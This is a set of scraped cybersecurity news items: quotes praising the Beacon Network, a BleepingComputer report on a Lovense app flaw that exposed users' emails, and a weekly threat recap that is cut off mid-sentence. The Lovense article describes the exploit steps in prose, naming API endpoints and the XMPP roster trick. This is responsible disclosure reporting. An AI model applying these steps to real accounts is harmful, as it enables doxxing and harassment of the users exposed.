Beacon Network proves that with the right infrastructure, crypto can be the most secure financial system in the world,” he added. Valerie-Leila Jaber, global head of anti-money laundering (AML) at Coinbase, was equally hyperbolic. “There’s no program like Beacon Network,” she said. “It’s a true early warning system that helps us identify and freeze illicit assets so law enforcement can recover them. That’s critical for protecting victims and safeguarding the broader ecosystem. Access to real-time intelligence is a game changer.” Marc Fungard, head of financial crime, compliance and risk oversight at Stripe, noted that Beacon Network helps close the gap in traditional financial oversight. “Financial crime doesn’t respect the line between traditional finance and crypto, so risk management must cover both on-chain and off-chain activity. We’re eager to contribute to Beacon Network’s real-time, collaborative model, which turns persistent, shared signals into swift, coordinated action with law enforcement – helping protect users and strengthen the wider financial system,” he said. TRM Labs said Beacon Network encourages other actors to join, especially law enforcement agencies, stablecoin issuers, crypto exchanges, decentralized finance (DeFi) platforms, security researchers and “other trusted members of the cryptocurrency ecosystem.”
infosecurity-magazine.comAug 20, 2025extracted
Lovense sex toy app flaw leaks private user email addresses
Updates added to the bottom of the article. The connected sex toy platform Lovense is vulnerable to a zero-day flaw that allows an attacker to get access to a member's email address simply by knowing their username, putting them at risk of doxxing and harassment. Lovense is an interactive sex toy manufacturer, best known for producing app-controlled sex toys with names like the Lush, the Gush, and, perhaps most boldly, the Kraken. The company claims to have 20 million customers worldwide. While Lovense toys are commonly used for both local and long-distance entertainment, they are also popular among cam models who allow viewers to tip or subscribe for remote control of their toys. However, the connected experience can also expose their Lovense username, and due to this flaw, potentially reveal their private email address. Lovense usernames are often publicly shared on forums and social media, making them easy targets for attackers. The flaw was discovered by security researcher BobDaHacker, who collaborated with researchers Eva and Rebane to reverse engineer the app and automate the attack. The researchers disclosed two flaws over four months ago, on March 26, 2025. However, only one of the flaws, a critical account hijacking flaw, was subsequently fixed. The Lovense flaws The vulnerability stems from the interaction between Lovense's XMPP chat system, used for communication between users, and the platform's backend. "So it all started when I was using the Lovense app and muted someone. That's it. Just muted them," explains BobDaHacker's report. "But then I saw the API response and was like... wait, is that an email address? Why is that there? After digging deeper, I figured out how to turn any username into their email address." To exploit the flaw, an attacker makes a POST request to the /api/wear/genGtoken API endpoint with their credentials, which returns a gtoken (authentication token) and AES-CBC encryption keys. The attacker then takes any publicly known Lovense username and encrypts it using the retrieved encryption keys. This encrypted payload is sent to the /app/ajaxCheckEmailOrUserIdRegisted?email={encrypted_username} API endpoint. The server responds with data containing a fake email address, which the researcher converted into a fake Jabber ID (JID) used by Lovense's XMPP server. By adding this fake JID to their XMPP contact list and sending a presence subscription over XMPP (similar to a friend request), the attacker can refresh the roster (contact list), which now includes both the fake JID and the real one associated with the target's account. However, the problem is that the real JID is constructed using the user's actual email, in the format [email protected], allowing attackers to extract the victim's email address. For example, if it returned [email protected], the resulting actual email of the Lovense account is [email protected]. The researchers confirmed that the entire process can be completed in less than one second per user with a script. BleepingComputer created a fake account today and shared our username with BobDaHacker, allowing them to simply connect as a friend and return the email we registered with. The researcher also stated that it's not necessary to accept a friend request to exploit the flaw. BleepingComputer also confirmed that it is relatively easy to find legitimate usernames on forums and Lovense-related sites, like lovenselife.com. The researcher also claims that the FanBerry extension, created by Lovense, can be used to harvest usernames as many of the cam models use the same username, making wide-scale email harvesting possible. The researchers also discovered a critical vulnerability that let them completely hijack an account. Using only an email address, an attacker could generate authentication tokens without needing a password. Using these tokens, an attacker could impersonate a user on Lovense platforms, including Lovense Connect, StreamMaster, and Cam101. These tokens reportedly worked on admin accounts as well. While Lovense has mitigated this flaw by rejecting the tokens on its APIs, the researchers noted that gtokens can still be generated without a password. Both issues were reported to Lovense on March 26, 2025. In April, after also submitting the bugs on HackerOne, Lovense informed the researchers that the email issue was already known and fixed in an upcoming version. The company initially downplayed the account hijacking flaw, but after being told it could allow full admin account access, Lovense reclassified it as critical. In total, the researchers received $3,000 for the disclosure of the flaws. On June 4, the company claimed the flaws were fixed, but the researchers confirmed this was not the case. Lovense ultimately fixed the account hijack flaw in July but stated that it would take approximately 14 months to resolve the email flaw, as it would break compatibility with older versions of their app. "We've launched a long-term remediation plan that will take approximately ten months, with at least four more months required to fully implement a complete solution," Lovense told the researcher. "We also evaluated a faster, one-month fix. However, it would require forcing all users to upgrade immediately, which would disrupt support for legacy versions. We've decided against this approach in favor of a more stable and user-friendly solution." The researchers criticized this response, stating the company repeatedly claimed the issues were fixed when they were not. "Your users deserve better. Stop putting old app support over security. Actually fix things. And test your fixes before saying they work," BobDaHacker wrote in the report. Ultimately, Lovense says they deployed a proxy feature on July 3rd that was suggested by the researchers to mitigate the attack. However, even after doing a force update of the app, the flaw was not fixed, so its unclear what was changed. In 2016, multiple Lovense flaws exposed email addresses or allowed attackers to determine if an email address had an account at Lovense. After the publishing of this story, BobDaHacker was told that other researchers named @Krissy and @SkeletalDemise discovered the same account takeover bug in 2023, which was disclosed through HackerOne. However, Lovense allegedly marked the flaw as fixed when it was not, changing the severity from high to medium, and only paying out a $350 bug bounty for the disclosure. The researchers also found another API, /api/getUserNameByEmailV2, that allowed you to convert a username to an email address or vice-versa, without having to utilize XMPP. This API was allegedly patched and stopped working after the disclosure, without alerting the researcher. Update 7/29/25 10:51 AM ET: In a statement to BleepingComputer, Lovense thanked BobDaHacker for disclosing the flaws and said that a fix is rolling out in the app stores. "We are pleased to inform you that the update addressing the latest vulnerabilities, as referenced by the researcher in his/her blog post last night, was already submitted to app stores before the post was published," Lovense told BleepingComputer. "The full update is expected to be pushed to all users within the next week. Once all users have updated to the new version and we disable older versions, this issue will be completely resolved." However, the spokesperson also stated that the flaw that exposed email addresses was fixed at the end of June. This statement conflicts with how the researcher demonstrated to BleepingComputer yesterday that they could retrieve our email address for our test account simply by accepting their friend request. BleepingComputer sent follow-up questions to Lovense about the flaw still working and will update our story with any reply. Update 7/30/25: While Lovense did not respond to our email yesterday, the researcher has now confirmed that both flaws have been fully fixed. The technique used to expose an email address for a user no longer works in the researcher's tests and an API previously used to create authentication tokens was taken offline. It should be noted that the account take over flaw was already fixed prior to the deprecation of this endpoint. BleepingComputer contacted Lovense for confirmation on the fixes but has not heard back at this time. Update 7/31/25: Lovense CEO Dan Liu shared a statement with BleepingComputer confirming that all of the flaws have now been fixed, reassuring users that there is no indication they were exploited or used to steal data. "These vulnerabilities were discovered under controlled conditions by the researcher, who is part of a bug bounty platform we joined in 2018, and not through malicious activity," said Liu. "All identified vulnerabilities have been fully addressed." "As of today, there is no evidence suggesting that any user data, including email addresses or account information, has been compromised or misused." However, the Lovense CEO disputes the claims that the email flaw was fixed with a "simple" two-day fix. "The originally scheduled long term 14-month system reconstruction plan was completed significantly ahead of schedule due to the team's dedicated efforts and increased resource allocation," continued Liu. "Reducing this comprehensive project to a simple "fixable in two days" is not only misleading but also overlooks the immense work put forth by our team." BleepingComputer once again asked why Lovense previously stated the email flaw was fixed, when it was demonstrated to not be, and will update the story if we receive a response. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJul 29, 2025extracted
⚡ Weekly Recap — SharePoint Breach, Spyware, IoT Hijacks, DPRK Fraud, Crypto Drains and More
Some risks don’t breach the perimeter—they arrive through signed software, clean resumes, or sanctioned vendors still hiding in plain sight. This week, the clearest threats weren’t the loudest—they were the most legitimate-looking. In an environment where identity, trust, and tooling are all interlinked, the strongest attack path is often the one that looks like it belongs. Security teams are now challenged to defend systems not just from intrusions—but from trust itself being turned into a weapon. ⚡ Threat of the Week Microsoft SharePoint Attacks Traced to China — The fallout from an attack spree targeting defects in on-premises Microsoft SharePoint servers continues to spread a week after the discovery of the zero-day exploits, with more than 400 organizations globally compromised. The attacks have been attributed to two known Chinese hacking groups tracked as Linen Typhoon (aka APT27), Violet Typhoon (aka APT31), and a suspected China-based threat actor codenamed Storm-2603 that has leveraged the access to deploy Warlock ransomware. The attacks leverage CVE-2025-49706, a spoofing flaw, and CVE-2025-49704, a remote code execution bug, collectively called ToolShell. Bloomberg reported that Microsoft is investigating whether a leak from Microsoft Active Protections Program (MAPP), which provides early access to vulnerability information to security software providers, may have led to the zero-day exploitation. China has denied allegations it was behind the campaign. Flare Customers Saw 321% ROI, Says Forrester Consulting Total Economic Impact™ (TEI) Study A new Forrester Consulting study commissioned by Flare shows how Flare’s threat exposure management platform delivered 321% ROI, cut manual work by 75%, and paid for itself in under 6 months for a composite organization representative of interviewed customers. Get the full business case. Read the Study ➝ 🔔 Top News U.S. Treasury Sanctions N. Korean Company for IT Worker Scheme — The U.S. Department of the Treasury's Office of Foreign Assets Control (OFAC) sanctioned a North Korean front company and three associated individuals for their involvement in the fraudulent remote information technology (IT) worker scheme designed to generate illicit revenues for Pyongyang. In a related move, Christina Marie Chapman, a laptop farmer in Arizona responsible for facilitating the scheme, was sentenced to jail for eight-and-a-half years, after raising $17 million in illicit funds for the regime. In these schemes, IT workers from North Korea use well-crafted, carefully curated portfolios, complete with full social media profiles, AI-enhanced photos and deepfakes, and stolen identities to pass background checks and land jobs at various U.S. companies. Once hired, they take the help of facilitators to receive company-issued laptops and other equipment, which they can then connect to remotely, thereby giving the impression that they are within the country where the company is located. The ongoing efforts operate with the twin goals of generating revenue for the Hermit Kingdom's nuclear program and other efforts via regular salaries, as well as gaining a foothold inside corporate networks for the purpose of planting malware for stealing secrets and extorting their employers. "DPRK's cyber operations challenge the traditional nation-state playbook – merging cryptocurrency theft, espionage, and nuclear ambition within a self-funded system driven by profit, loyalty, and survival," said Sue Gordon, a member of DTEX's Advisory Board and former principal deputy director of U.S. National Intelligence. "Recognizing it as a family-run mafia syndicate unblurs the lines between cybercrime and statecraft. This report pulls back the curtain on their inner workings and psychology, revealing how deeply embedded they already are within our workforce – providing the context needed to anticipate their next move." Soco404 and Koske Target Misconfigured Cloud Instances to Drop Miners — Two different malware campaigns have targeted vulnerabilities and misconfigurations across cloud environments to deliver cryptocurrency miners. These activity clusters have been codenamed Soco404 and Koske. While Soco404 targets both Linux and Windows systems to deploy platform-specific malware, Koske is a Linux-focused threat. There is also evidence to suggest that Koske has been developed using a large language model (LLM), given the presence of well-structured comments, best-practice logic flow with defensive scripting habits, and synthetic panda-related imagery to host the miner payload. XSS Forum Taken Down and Suspected Admin Arrested — Law enforcement notched a significant victory against the cybercrime economy with the disruption of the notorious forum XSS and the arrest of its suspected administrator. That said, it's important to note that takedowns of similar forums have proved short-lived, and threat actors often move to new platforms or other alternatives, such as Telegram channels. The development comes as LeakZone, a self-styled "leaking and cracking forum" where users advertise and share breached databases, stolen credentials, and pirated software, was caught leaking the IP addresses of its logged-in users to the open web. Coyote Trojan Exploits Windows UI Automation — The Windows banking trojan known as Coyote has become the first known malware strain to exploit the Windows accessibility framework called UI Automation (UIA) to harvest sensitive information. Coyote, which is known to target Brazilian users, comes with capabilities to log keystrokes, capture screenshots, and serve overlays on top of login pages associated with financial enterprises. Akamai's analysis found that the malware invokes the GetForegroundWindow() Windows API in order to extract the active window's title and compare it against a hard-coded list of web addresses belonging to targeted banks and cryptocurrency exchanges. "If no match is found Coyote will then use UIA to parse through the UI child elements of the window in an attempt to identify browser tabs or address bars," Akamai said. "The content of these UI elements will then be cross-referenced with the same list of addresses from the first comparison." Cisco Confirms Active Exploits Targeting ISE — Cisco has warned that a set of security flaws in Identity Services Engine (ISE) and ISE Passive Identity Connector (ISE-PIC) have come under active exploitation in the wild. The flaws, CVE-2025-20281, CVE-2025-20337, and CVE-2025-20282, allow an attacker to execute arbitrary code on the underlying operating system as root or upload arbitrary files to an affected device and then execute those files on the underlying operating system as root. The network equipment vendor did not disclose which vulnerabilities have been weaponized in real-world attacks, the identity of the threat actors exploiting them, or the scale of the activity. ️🔥 Trending CVEs Hackers are quick to jump on newly discovered software flaws – sometimes within hours. Whether it’s a missed update or a hidden bug, even one unpatched CVE can open the door to serious damage. Below are this week’s high-risk vulnerabilities making waves. Review the list, patch fast, and stay a step ahead. This week's list includes — CVE-2025-54068 (Laravel Livewire Framework), CVE-2025-34300 (Lighthouse Studio), CVE-2025-6704, CVE-2025-7624 (Sophos Firewall), CVE-2025-40599 (SonicWall SMA 100 Series), CVE-2025-49656, CVE-2025-50151 (Apache Jena), CVE-2025-22230, CVE-2025-22247 (Broadcom VMware Tools), CVE-2025-7783 (form-data), CVE-2025-34140, CVE-2025-34141, CVE-2025-34142, CVE-2025-34143 (Hexagon ETQ Reliance), CVE-2025-8069 (AWS Client VPN for Windows), CVE-2025-7723, CVE-2025-7724 (TP-Link VIGI NVR), CVE-2025-7742 (LG Innotek LNV5110R), CVE-2025-24000 (Post SMTP), CVE-2025-52449, CVE-2025-52452, CVE-2025-52453, CVE-2025-52454, CVE-2025-52455 (Salesforce Tableau Server), and CVE-2025-6241 (SysTrack). 📰 Around the Cyber World Google Removes 1000s of YouTube Channels Tied to Influence Ops — Google removed nearly 11,000 YouTube channels and other accounts tied to state-linked propaganda campaigns from China, Russia and more in the second quarter of 2025. It removed over 2,000 removed channels linked to Russia, including 20 YouTube channels, 4 Ads accounts, and 1 Blogger blog associated with RT, a Russian state-controlled media outlet. The takedown also included more than 7,700 YouTube channels linked to China, which shared content in Chinese and English that promoted the People’s Republic of China, supported President Xi Jinping and commented on U.S. foreign affairs. Surveillance Company Bypasses SS7 Safeguards — An unnamed surveillance company has been using a new attack technique to bypass the Signaling System 7 (SS7) protocol's protections and trick telecommunications companies into disclosing the location of their users. The attack method, likely used since the fourth quarter of 2024, hinges on Transaction Capabilities Application Part (TCAP) manipulation through SS7 commands that have been encoded in such a manner that their contents are not parsed by the protection systems or firewalls at the target network. "We don't have any information on how successful this attack method has been worldwide, as its success is vendor/software specific, rather than being a general protocol vulnerability, but its use as part of a suite indicates that it has had some value," Enea researchers Cathal Mc Daid and Martin Gallagher said. Number of Phishing Sites Aimed at Telegram Spikes — A new report has found that the number of phishing sites aimed at Telegram users increased to 12,500 in the second quarter of 2025. In one variant of the scheme, fraudsters create a phishing page that simulates the login page associated with Telegram or Fragment, a platform on the TON blockchain that allows users to buy and sell unique Telegram usernames and virtual phone numbers. Should victims enter their credentials and the confirmation codes, the accounts are hijacked by the attackers. The second scenario entails the attacker approaching a victim to purchase a rare digital gift from them in Telegram for a large amount. "As payment, the fraudster sends fake tokens," BI.ZONE said. "At first glance, they are indistinguishable from the real ones, but they have no real value. After the transfer, the victim is left without a gift and with a fake digital currency." In a related report, Palo Alto Networks Unit 42 said it identified 54,446 domains hosting phishing sites in a campaign impersonating Telegram dubbed telegram_acc_hijack. "These pages collect Telegram login credentials submitted and real-time one-time passcodes (OTPs) to hijack user accounts," the company added. Former NCA Employee Sentenced to 5.5 Years in Prison — A former officer with the U.K. National Crime Agency (NCA) was sentenced to five-and-a-half years in prison after stealing a chunk of the Bitcoin seized by the agency as part of a law enforcement operation targeting the now-defunct illicit dark web marketplace Silk Road. Paul Chowles, 42, was identified as the culprit after authorities recovered his iPhone, which linked him to an account used to transfer Bitcoin as well as relevant browser search history relating to a cryptocurrency exchange service. "Within the NCA, Paul Chowles was regarded as someone who was competent, technically minded and very aware of the dark web and cryptocurrencies," Alex Johnson, Specialist Prosecutor with the Crown Prosecution Service's Special Crime Division, said. "He took advantage of his position working on this investigation by lining his own pockets while devising a plan that he believed would ensure that suspicion would never fall upon him. Once he had stolen the cryptocurrency, Paul Chowles sought to muddy the waters and cover his tracks by transferring the Bitcoin into mixing services to help hide the trail of money." U.K. Sanctions 3 Russian GRU Units for Sustained Cyber Attacks — The U.K. sanctioned three units of the Russian military intelligence agency (GRU) and 18 military intelligence officers for "conducting a sustained campaign of malicious cyber activity over many years" with an aim to "sow chaos, division and disorder in Ukraine and across the world." The sanctions cover Unit 26165 (linked to APT28), Unit 29155 (linked to Cadet Blizzard), and Unit 74455 (linked to Sandworm), as well as African Initiative, a "social media content mill established and funded by Russia and employing Russian intelligence officers to conduct information operations in West Africa." U.K. Floats Ransomware Payments Ban for Public Bodies — The U.K. government has proposed new legislation that would ban public sector organizations and critical national infrastructure from paying criminal operators behind ransomware attacks, as well as enforce mandatory reporting requirements for all victims to inform law enforcement of attacks. "Public sector bodies and operators of critical national infrastructure, including the NHS, local councils and schools, would be banned from paying ransom demands to criminals under the measure," the government said. "The ban would target the business model that fuels cyber criminals' activities and makes the vital services the public rely on a less attractive target for ransomware groups." Businesses that do not fall under the ambit of the law would be required to notify the government of any intent to pay a ransom. A failure to download patches to address widely exploited vulnerabilities could lead to daily fines of £100,000 or 10 percent of turnover should a digital break-in occur. Thought Lumma Was Out of Commission? Think Again! — The Lumma Stealer operations have recovered following a law enforcement takedown of its infrastructure earlier this year, with the malware being distributed through more discreet channels and stealthier evasion tactics. "Lumma's infrastructure began ramping up again within weeks of the takedown," Trend Micro said. "This rapid recovery highlights the group's resilience and adaptability in the face of disruption." A notable shift is the reduction in volume of domains using Cloudflare's services to obfuscate their malicious domains and make detection more challenging, instead shifting to Russian alternatives like Selectel. "This strategic pivot suggests a move towards providers that might be perceived as less responsive to law enforcement requests, further complicating efforts to track and disrupt their activities," the company added. Lumma Stealer is known for its diverse and evolving delivery methods, leveraging social media posts, GitHub, ClickFix, and fake sites distributing cracks and key generators, as initial access methods. The resurgence of Lumma is par for the course with modern cybercriminal operations that often can quickly resume activity even after significant law enforcement disruptions. In a statement shared with The Hacker News, ESET confirmed the resurgence of Lumma Stealer and that the current activity has approached levels similar to those before the law enforcement action. "Lumma Stealer operators continue to register dozens of new domains weekly – activity that didn’t stop even after the disruption – but switched to primarily resolving them at nameservers located in Russia," Jakub Tománek, ESET malware analyst, said. "The codebase itself has shown minimal changes since the takedown attempt. This indicates the group’s primary focus has been on restoring operations rather than innovating their 'product' and introducing new features." U.S. Government Warns of Interlock Ransomware — The U.S. government has warned of Interlock ransomware attacks targeting businesses, critical infrastructure, and other organizations in North America and Europe since late September 2024. The attacks, designed to target both Windows and Linux systems, employ drive-by downloads from compromised legitimate websites or ClickFix- and FileFix-style lures to drop payloads for initial access. "Actors then use various methods for discovery, credential access, and lateral movement to spread to other systems on the network," the U.S. government said. "Interlock actors employ a double extortion model in which actors encrypt systems after exfiltrating data, which increases pressure on victims to pay the ransom to both get their data decrypted and prevent it from being leaked." Also part of the threat actor's tooling are Cobalt Strike and a custom remote access trojan called NodeSnake RAT, and information stealers like Lumma Stealer and Berserk Stealer to harvest credentials for lateral movement and privilege escalation. Apple Notifies Iranians of Spyware Attacks — Apple notified more than a dozen Iranians in recent months that their iPhones had been targeted with government spyware, according to a digital rights and security organization called Miaan Group. This included individuals who have a long history of political activism. Also notified by Apple were dissidents and a technology worker. It's unclear which spyware maker is behind these attacks. The attacks mark the first known example of advanced mercenary tools being used both inside Iran and against Iranians living abroad. Linux Servers Targeted by SVF Bot — Poorly managed Linux servers are being targeted by a campaign that delivers a Python-based malware called SVF Bot that enlists infected machines in a botnet that can conduct distributed denial-of-service (DDoS) attacks. "When the SVF Bot is executed, it can authenticate with the Discord server using the following Bot Token and then operate according to the threat actor's commands," ASEC said. "Most of the supported commands are for DDoS attacks, with L7 HTTP Flood and L4 UDP Flood being the main types supported." Turkish Companies Targeted by Snake Keylogger — Turkish organizations are the target of a new phishing campaign that delivers an information stealer called Snake Keylogger. The activity, primarily singling out defense and aerospace sectors, involves distributing bogus email messages that impersonate Turkish Aerospace Industries (TUSAŞ) in an attempt to trick victims into opening malicious files under the guise of contractual documents. "Once executed, the malware employs advanced persistence mechanisms – including PowerShell commands to evade Windows Defender and scheduled tasks for auto-execution – to harvest sensitive data, such as credentials, cookies, and financial information, from a wide range of browsers and email clients," Malwation said. Former Engineer Pleads Guilty to Trade Theft — A Santa Clara County man and former engineer at a Southern California company pleaded guilty to stealing trade secret technologies developed for use by the U.S. government to detect nuclear missile launches, track ballistic and hypersonic missiles, and to allow U.S. fighter planes to detect and evade heat-seeking missiles. Chenguang Gong, 59, of San Jose, pleaded guilty to one count of theft of trade secrets. He remains free on a $1.75 million bond. Gong – a dual citizen of the United States and China – transferred more than 3,600 files from a Los Angeles-area research and development company where he worked to personal storage devices during his brief tenure with the company last year. The victim company hired Gong in January 2023 as an application-specific integrated circuit design manager. He was terminated three months later. Gong, who was arrested and charged in February, is scheduled for sentencing on September 29, 2025. He faces up to 10 years in prison. FBI Issues Warning About The Com — The Federal Bureau of Investigation (FBI) is warning the public about an online group called In Real Life (IRL) Com that provides violence-as-a-service (VaaS), including shootings, kidnappings, armed robbery, stabbings, physical assault, and bricking. "Services are posted online with a price breakdown for each act of violence," the FBI said. "Groups offering VaaS advertise contracts on social media platforms to solicit individuals willing to conduct the act of violence for monetary compensation." The threat group is also said to advertise swat-for-hire services via communication applications and social media platforms. IRL Com is assessed to be one of three subsets of The Com (short for The Community), a growing online collective comprising primarily of thousands of English-speaking individuals, many of whom are minors, and engage in a wide range of criminal endeavors. The other two offshoots are Hacker Com, which is linked to DDoS and ransomware-as-a-service (RaaS) groups, and Extortion Com, which primarily involves the exploitation of children. Notably, the Com encompasses threat clusters tracked as LAPSUS$ and Scattered Spider. A similar warning was issued by the U.K. National Crime Agency (NCA) earlier this March, calling attention to The Com's trend of recruiting teenage boys to commit a range of criminal acts, from cyber fraud and ransomware to child sexual abuse. Organized Crime Group Behind Large-Scale Fraud Disrupted — A highly organised criminal group involved in large-scale fraud in Western Europe was dismantled in a coordinated operation led by authorities from Romania and the United Kingdom. "The gang had travelled from Romania to several Western European countries, mainly the UK, and withdrew large sums of money from ATM machines," Europol said. "They later laundered the proceeds by investing in real estate, companies, vacations, and luxury products, including cars and jewelry." The operation has led to two arrests, 18 house searches, and the seizure of real estate, luxury cars, electronic devices, and cash. The attackers committed what has been described as Transaction Reversal Fraud (TRF), in which the screen of an ATM is removed and a bank card is inserted to request funds. The transactions were canceled (or reversed) before the funds were dispensed, allowing them to reach inside the ATM and take the cash before it was retracted. The gang is estimated to have plundered about €580,000 (about $681,000) using this method. "The perpetrators were also involved in other criminal activities, including skimming, forging electronic means of payment and transport cards, and conducting bin attacks — a type of card fraud carried out using software designed to identify card numbers and generate illicit income through fraudulent payments," Europol added. The development came as a 21-year-old U.K. student, Ollie Holman, who designed and distributed 1,052 phishing kits linked to £100 million (approximately $134 million) worth of fraud, was jailed for seven years. It is estimated that Holman received £300,000 from selling the kits between 2021 and 2023. The phishing kits were sold via Telegram. Holman previously pleaded guilty to seven counts, including encouraging or assisting the commission of an offence, making or supplying articles for use in fraud, and transferring, acquiring, and possessing criminal property, per the Crown Prosecution Service. Endgame Gear Acknowledges Supply Chain Attack — Gaming peripheral manufacturer Endgame Gear confirmed that unidentified threat actors compromised its official software distribution system to spread dangerous Xred malware to unsuspecting customers for nearly two weeks via the OP1w 4k v2 product page. The security breach occurred between June 26 and July 9, 2025. The company stated that "access to our file servers was not compromised, and no customer data was accessible or affected on our servers at any time," and that "This issue was isolated to the OP1w 4k v2 product page download only." New Campaign Targeted Crypto Users Since March 2024 — A new sophisticated and evasive malware campaign has managed to stay unnoticed and target cryptocurrency users globally since March 2024. Dubbed WEEVILPROXY, the activity leverages Facebook advertisement campaigns masquerading as well-known cryptocurrency-related software and platforms, such as Binance, Bybit, Kraken, Revolut, TradingView, and others, to trick users into downloading fake installers that ultimately drop information stealers and cryptocurrency drainers. "We have also observed the threat actor propagate ads through Google Display Network since April-May 2025, which are displayed throughout the internet in the form of images/videos," WithSecure said. "These ads appear geographically bound as well, for instance, we have observed such ads specifically targeting the Philippines, Malaysia, Thailand, Vietnam, Bangladesh, and Pakistan." VMDetector Loader Delivers Formbook Malware — A new variant of the VMDetector Loader malware has been found embedded within the "pixel data" of a seemingly benign JPG image that's delivered via phishing emails to ultimately deploy an information stealer called Formbook. The JPG image is retrieved from archive.org by means of Visual Basic Scripts present within zipped archives that are sent as attachments to the email messages. Threat Actors Use mount Binary in Hikvision Attacks — Attacks in the wild exploiting CVE-2021-36260, a command injection bug affecting Hikvision cameras, have been uncovered, leveraging the flaw to mount a remote NFS share and execute a file off of it. "The attacker tells mount to make the remote NFS share, /srv/nfs/shared, on 87.121.84[.]34 available locally as the directory ./b," VulnCheck said. How Windows Drivers Can Be Weaponized? — In a new detailed analysis, Security Joes has highlighted the threat posed by kernel-mode attacks and how attacks abusing vulnerable drivers, called the Bring Your Own Vulnerable Driver (BYOVD) technique, can be used by attackers to exploit signed-but-flawed drivers to bypass kernel protections. "Because drivers run in kernel mode, they possess high privileges and unrestricted access to system resources," the company said. "This makes them a high-value target for attackers aiming to escalate privileges, disable security mechanisms such as EDR callbacks, and achieve full control over the system." Organizations' Attack Surface Increases — Organizations have created more entry points for attackers. That's according to a report from ReliaQuest, which found a 27% increase in exposed ports between the second half of 2024 and the first half of 2025, a 35% increase in exposed operational technology (OT), and a surge in vulnerabilities in public-facing systems, such as PHP and WordPress. "Vulnerabilities in public-facing assets more than doubled, rising from 3 per organization in the second half of 2024 to 7 in the first half of 2025," the company said. "From late 2024 to early 2025, the number of exposed access keys for organizations in our customer base doubled, creating twice the opportunity for attackers to slip in unnoticed." Iranian Bank Pasargad Targeted During June Conflict — The Iranian bank known as Pasargad was targeted as part of a cyber attack during the Iran-Israel war in June 2025, impacting access to crucial services. A suspected Israeli operation called Predatory Sparrow claimed responsibility for the attack on another Iranian bank Sepah and the country's largest cryptocurrency exchange, Nobitex. CrowdStrike Outage Impacted Over 750 U.S. Hospitals — A new study undertaken by a group of academics from the University of California, San Diego, found that 759 U.S. hospitals experienced IT outages last July due to a faulty CrowdStrike update. "A total of 1098 distinct network services with outages were identified, of which 631 (57.5%) were unable to be classified, 239 (21.8%) were direct patient-facing services, 169 (15.4%) were operationally relevant services, and 58 (5.3%) were research-related services," the study said. North Korean Actors Employ NVIDIA Lures — The North Korean threat actors behind the Contagious Interview (aka DeceptiveDevelopment) campaign are leveraging ClickFix-style lures to trick unsuspecting job seekers into downloading a supposed NVIDIA-related update to address camera or microphone issues when attempting to provide a video assessment. The attack leads to the execution of a Visual Basic Script that launches a Python payload called PylangGhost that steals credentials and enables remote access via MeshAgent. ACRStealer Variant Distributed in New Attacks — Threat actors are propagating a new variant of ACRStealer that incorporates new features aimed at detection evasion and analysis obstruction. "The modified ACRStealer uses the Heaven's Gate to disrupt detection and analysis," AhnLab said. "Heaven's Gate is a technique used to execute x64 code in WoW64 processes and is widely used for analysis evasion and detection avoidance." The new version has been rebranded as Amatera Stealer, per Proofpoint. It's offered for sale for $199 per month to $1,499 per year. Aeza Group Shifts Infrastructure After U.S. Sanctions — Earlier this month, the U.S. Treasury Department imposed sanctions against Russia-based bulletproof hosting (BPH) service provider Aeza Group for assisting threat actors in their malicious activities, such as ransomware, data theft, and darknet drug trafficking. Silent Push, in a new analysis, said IP ranges from Aeza's AS210644 began migrating to AS211522, a new autonomous system operated by Hypercore Ltd., starting July 20, 2025, in an attempt to evade sanctions enforcement and operate under new infrastructure. Request for Quote Scams Demonstrate Sophistication — Cybersecurity researchers are calling attention to a widespread Request for Quote (RFQ) scam that employs common Net financing options (Net 15, 30, 45) to steal a variety of high-value electronics and goods. "In RFQ campaigns, the actor reaches out to a business to ask for quotes for various products or services," Proofpoint said. "The quotes they receive can be used to make very convincing lures to send malware, phishing links, and even additional business email compromise (BEC) and social engineering fraud." Besides using vendor-supplied financing and stolen identities of real employees to steal physical goods, these scams utilize email and legitimate online quote request forms to reach potential victims. Fake Games Distribute Stealer Malware — A new malware campaign is distributing fake installers for indie game titles such as Baruda Quest, Warstorm Fire, and Dire Talon, promoting them via fraudulent websites, YouTube channels, and Discord, to trick unwitting users into infecting their machines with stealers like Leet Stealer, RMC Stealer (a modified version of Leet Stealer), and Sniffer Stealer. The origins of Leet and RMC malware families can be traced back to Fewer Stealer, suggesting a shared lineage. It's believed that the campaign originally targeted Brazil, before expanding worldwide. U.S. FCC Wants to Ban Companies from Using Chinese Equipment When Laying Submarine Cables — The U.S. Federal Communications Commission said it plans to issue new rules that would ban Chinese technology from U.S. submarine cables in order to protect underwater telecommunications infrastructure from foreign adversary threats. "We have seen submarine cable infrastructure threatened in recent years by foreign adversaries, like China," FCC Chairman Brendan Carr said. "We are therefore taking action here to guard our submarine cables against foreign adversary ownership, and access as well as cyber and physical threats." In a recent report, Recorded Future said the risk environment for submarine cables has "escalated" and that the "threat of state-sponsored malicious activity targeting submarine cable infrastructure is likely to rise further amid heightened geopolitical tensions." The cybersecurity company also cited a lack of redundancy, a lack of diversity of cable routes, and limited repair capacity as some of the key factors that raise the risk of severe impact caused by damage to submarine cables. China Warns Citizens of Backdoored Devices and Supply Chain Threats — China's Ministry of State Security (MSS) has issued an advisory, warning of backdoors in devices and supply chain attacks on software. The security agency said such threats not only risk personal privacy and theft of corporate secrets, but also affect national security. "Potential technical backdoor security risks can also be reduced by strengthening technical protection measures, such as formulating patch strategies, regularly updating operating systems, regularly checking device logs, and monitoring abnormal traffic," MSS said, urging organizations to avoid foreign software and instead adopt domestic operating systems. In a separate bulletin, the MSS also alleged that overseas spy intelligence agencies may set up backdoors in its ocean observation sensors to steal data. NyashTeam Hacking Group Infrastructure Disrupted — Russia-based cybersecurity company F6 said it dismantled a network of domains operated by a relatively unknown hacking crew known as NyashTeam, which sells two different remote access trojans known as DCRat (DarkCrystal RAT) and WebRAT through Telegram bots and websites under the malware-as-a-service (MaaS) model. The malware is distributed using YouTube and GitHub by passing them off as game cheats or pirated software. The group is also believed to provide hosting services for cybercriminal infrastructure and support customers through plugins, guides, and data processing tools, appealing to both novice hackers and experienced cybercriminals alike. RenderShock Attack Technique Detailed — Cybersecurity researchers have detailed a zero-click attack strategy called RenderShock that leverages trusted operating system behaviors to conduct reconnaissance and deliver payloads without requiring any user interaction. "By embedding malicious logic in metadata, preview triggers, and document formats, RenderShock capitalizes on system convenience as an unguarded attack vector," CYFIRMA said. "Modern enterprise systems are built for convenience, automatically previewing, indexing, 